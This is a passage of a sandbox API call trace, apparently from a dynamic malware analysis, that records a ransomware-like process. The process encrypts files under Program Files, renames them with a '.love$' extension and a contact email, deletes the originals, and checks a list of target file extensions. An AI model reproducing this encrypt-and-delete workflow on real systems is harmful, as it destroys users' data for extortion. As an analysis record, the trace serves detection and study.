hFile=0x380, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x106, lpOverlapped=0x0) returned 1 [0108.588] SetEndOfFile (hFile=0x380) returned 1 [0108.588] CloseHandle (hObject=0x380) returned 1 [0108.592] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0108.592] SetEndOfFile (hFile=0x368) returned 1 [0108.593] CloseHandle (hObject=0x368) returned 1 [0108.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0108.594] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif")) returned 1 [0108.594] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0108.594] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0108.594] lstrlenW (lpString=".doc") returned 4 [0108.594] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0108.594] lstrlenW (lpString=".docx") returned 5 [0108.594] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0108.594] lstrlenW (lpString=".pdf") returned 4 [0108.595] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0108.595] lstrlenW (lpString=".xls") returned 4 [0108.595] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0108.595] lstrlenW (lpString=".xlsx") returned 5 [0108.595] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0108.595] lstrlenW (lpString=".ppt") returned 4 [0108.595] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0108.595] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0108.595] lstrlenW (lpString=".zip") returned 4 [0108.595] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0108.595] lstrlenW (lpString=".rar") returned 4 [0108.595] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0108.595] lstrlenW (lpString=".bz2") returned 4 [0108.595] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0108.595] lstrlenW (lpString=".7z") returned 3 [0108.595] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0108.595] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0108.595] lstrlenW (lpString=".dbf") returned 4 [0108.595] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0108.595] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0108.595] lstrlenW (lpString=".1cd") returned 4 [0108.595] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0108.595] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0108.595] lstrlenW (lpString=".jpg") returned 4 [0108.595] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0108.595] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0108.595] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0108.595] lstrlenW (lpString=".doc") returned 4 [0108.595] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0108.595] lstrlenW (lpString=".docx") returned 5 [0108.595] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0108.595] lstrlenW (lpString=".pdf") returned 4 [0108.595] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0108.595] lstrlenW (lpString=".xls") returned 4 [0108.596] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0108.596] lstrlenW (lpString=".xlsx") returned 5 [0108.596] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0108.596] lstrlenW (lpString=".ppt") returned 4 [0108.596] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0108.596] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0108.596] lstrlenW (lpString=".zip") returned 4 [0108.596] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0108.596] lstrlenW (lpString=".rar") returned 4 [0108.596] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0108.596] lstrlenW (lpString=".bz2") returned 4 [0108.596] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0108.596] lstrlenW (lpString=".7z") returned 3 [0108.596] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0108.596] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0108.596] lstrlenW (lpString=".dbf") returned 4 [0108.596] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0108.596] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0108.596] lstrlenW (lpString=".1cd") returned 4 [0108.596] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0108.596] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0108.596] lstrlenW (lpString=".jpg") returned 4 [0108.596] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0108.596] lstrcmpiW (lpString1=".txt", lpString2=".love$") returned 1 [0108.596] lstrlenW (lpString="THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 34 [0108.596] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0108.597] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=63933) returned 1 [0108.597] CloseHandle (hObject=0x368) returned 1 [0108.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt")) returned 0x20 [0108.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0108.597] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0108.597] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0108.597] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0108.597] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0108.597] GetLastError () returned 0x0 [0108.598] ReadFile (in: hFile=0x368, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0xf9bd, lpOverlapped=0x0) returned 1 [0108.618] WriteFile (in: hFile=0x380, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xf9c0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xf9c0, lpOverlapped=0x0) returned 1 [0108.620] ReadFile (in: hFile=0x368, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0108.620] WriteFile (in: hFile=0x380, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x118, lpOverlapped=0x0) returned 1 [0108.620] SetEndOfFile (hFile=0x380) returned 1 [0108.621] CloseHandle (hObject=0x380) returned 1 [0108.628] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0108.628] SetEndOfFile (hFile=0x368) returned 1 [0108.629] CloseHandle (hObject=0x368) returned 1 [0108.629] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0108.630] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt")) returned 1 [0108.630] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0108.630] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0108.630] lstrlenW (lpString=".doc") returned 4 [0108.630] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0108.630] lstrlenW (lpString=".docx") returned 5 [0108.630] lstrcmpiW (lpString1=".docx", lpString2="X.txt") returned -1 [0108.630] lstrlenW (lpString=".pdf") returned 4 [0108.630] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0108.630] lstrlenW (lpString=".xls") returned 4 [0108.630] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0108.630] lstrlenW (lpString=".xlsx") returned 5 [0108.630] lstrcmpiW (lpString1=".xlsx", lpString2="X.txt") returned -1 [0108.630] lstrlenW (lpString=".ppt") returned 4 [0108.630] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0108.630] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0108.631] lstrlenW (lpString=".zip") returned 4 [0108.631] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0108.631] lstrlenW (lpString=".rar") returned 4 [0108.631] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0108.631] lstrlenW (lpString=".bz2") returned 4 [0108.631] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0108.631] lstrlenW (lpString=".7z") returned 3 [0108.631] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0108.631] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0108.631] lstrlenW (lpString=".dbf") returned 4 [0108.631] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0108.631] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0108.631] lstrlenW (lpString=".1cd") returned 4 [0108.631] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0108.631] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0108.631] lstrlenW (lpString=".jpg") returned 4 [0108.631] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0108.631] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0108.631] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0108.631] lstrlenW (lpString=".doc") returned 4 [0108.631] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0108.631] lstrlenW (lpString=".docx") returned 5 [0108.631] lstrcmpiW (lpString1=".docx", lpString2="X.txt") returned -1 [0108.631] lstrlenW (lpString=".pdf") returned 4 [0108.631] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0108.631] lstrlenW (lpString=".xls") returned 4 [0108.631] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0108.631] lstrlenW (lpString=".xlsx") returned 5 [0108.632] lstrcmpiW (lpString1=".xlsx", lpString2="X.txt") returned -1 [0108.632] lstrlenW (lpString=".ppt") returned 4 [0108.632] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0108.632] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0108.632] lstrlenW (lpString=".zip") returned 4 [0108.632] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0108.632] lstrlenW (lpString=".rar") returned 4 [0108.632] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0108.632] lstrlenW (lpString=".bz2") returned 4 [0108.632] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0108.632] lstrlenW (lpString=".7z") returned 3 [0108.632] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0108.632] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0108.632] lstrlenW (lpString=".dbf") returned 4 [0108.632] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0108.632] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0108.632] lstrlenW (lpString=".1cd") returned 4 [0108.632] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0108.632] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0108.632] lstrlenW (lpString=".jpg") returned 4 [0108.632] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0108.632] lstrcmpiW (lpString1=".html", lpString2=".love$") returned -1 [0108.632] lstrlenW (lpString="Welcome.html") returned 12 [0108.632] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0108.633] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=955) returned 1 [0108.633] CloseHandle (hObject=0x368) returned 1 [0108.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html")) returned 0x20 [0108.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0108.633] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0108.633] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0108.633] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0108.633] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0108.634] GetLastError () returned 0x0 [0108.634] ReadFile (in: hFile=0x368, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x3bb, lpOverlapped=0x0) returned 1 [0109.332] WriteFile (in: hFile=0x380, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x3c0, lpOverlapped=0x0) returned 1 [0109.333] ReadFile (in: hFile=0x368, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0109.334] WriteFile (in: hFile=0x380, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0109.334] SetEndOfFile (hFile=0x380) returned 1 [0109.334] CloseHandle (hObject=0x380) returned 1 [0109.335] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0109.335] SetEndOfFile (hFile=0x368) returned 1 [0109.336] CloseHandle (hObject=0x368) returned 1 [0109.336] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0109.337] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html")) returned 1 [0109.337] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0109.337] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0109.337] lstrlenW (lpString=".doc") returned 4 [0109.337] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0109.337] lstrlenW (lpString=".docx") returned 5 [0109.337] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0109.337] lstrlenW (lpString=".pdf") returned 4 [0109.338] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0109.338] lstrlenW (lpString=".xls") returned 4 [0109.338] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0109.338] lstrlenW (lpString=".xlsx") returned 5 [0109.338] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0109.338] lstrlenW (lpString=".ppt") returned 4 [0109.338] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0109.338] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0109.338] lstrlenW (lpString=".zip") returned 4 [0109.338] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0109.338] lstrlenW (lpString=".rar") returned 4 [0109.338] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0109.338] lstrlenW (lpString=".bz2") returned 4 [0109.338] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0109.338] lstrlenW (lpString=".7z") returned 3 [0109.338] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0109.338] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0109.338] lstrlenW (lpString=".dbf") returned 4 [0109.338] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0109.338] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0109.338] lstrlenW (lpString=".1cd") returned 4 [0109.338] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0109.338] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0109.338] lstrlenW (lpString=".jpg") returned 4 [0109.338] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0109.338] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0109.338] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0109.339] lstrlenW (lpString=".doc") returned 4 [0109.339] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0109.339] lstrlenW (lpString=".docx") returned 5 [0109.339] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0109.339] lstrlenW (lpString=".pdf") returned 4 [0109.339] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0109.339] lstrlenW (lpString=".xls") returned 4 [0109.339] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0109.339] lstrlenW (lpString=".xlsx") returned 5 [0109.339] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0109.339] lstrlenW (lpString=".ppt") returned 4 [0109.339] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0109.339] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0109.339] lstrlenW (lpString=".zip") returned 4 [0109.339] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0109.339] lstrlenW (lpString=".rar") returned 4 [0109.339] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0109.339] lstrlenW (lpString=".bz2") returned 4 [0109.339] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0109.339] lstrlenW (lpString=".7z") returned 3 [0109.339] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0109.339] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0109.339] lstrlenW (lpString=".dbf") returned 4 [0109.339] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0109.339] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0109.339] lstrlenW (lpString=".1cd") returned 4 [0109.340] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0109.340] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0109.340] lstrlenW (lpString=".jpg") returned 4 [0109.340] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0109.340] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0109.340] lstrlenW (lpString="AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 53 [0109.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0109.342] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=387356) returned 1 [0109.342] CloseHandle (hObject=0x368) returned 1 [0109.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml")) returned 0x220 [0109.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0109.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0109.342] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0109.342] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0109.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0109.343] GetLastError () returned 0x0 [0109.343] ReadFile (in: hFile=0x368, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x5e91c, lpOverlapped=0x0) returned 1 [0109.356] WriteFile (in: hFile=0x380, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x5e920, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x5e920, lpOverlapped=0x0) returned 1 [0109.366] ReadFile (in: hFile=0x368, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0109.803] WriteFile (in: hFile=0x380, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x13e, lpOverlapped=0x0) returned 1 [0109.804] SetEndOfFile (hFile=0x380) returned 1 [0109.804] CloseHandle (hObject=0x380) returned 1 [0109.818] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0109.818] SetEndOfFile (hFile=0x368) returned 1 [0109.824] CloseHandle (hObject=0x368) returned 1 [0109.824] SetFileAttributesW 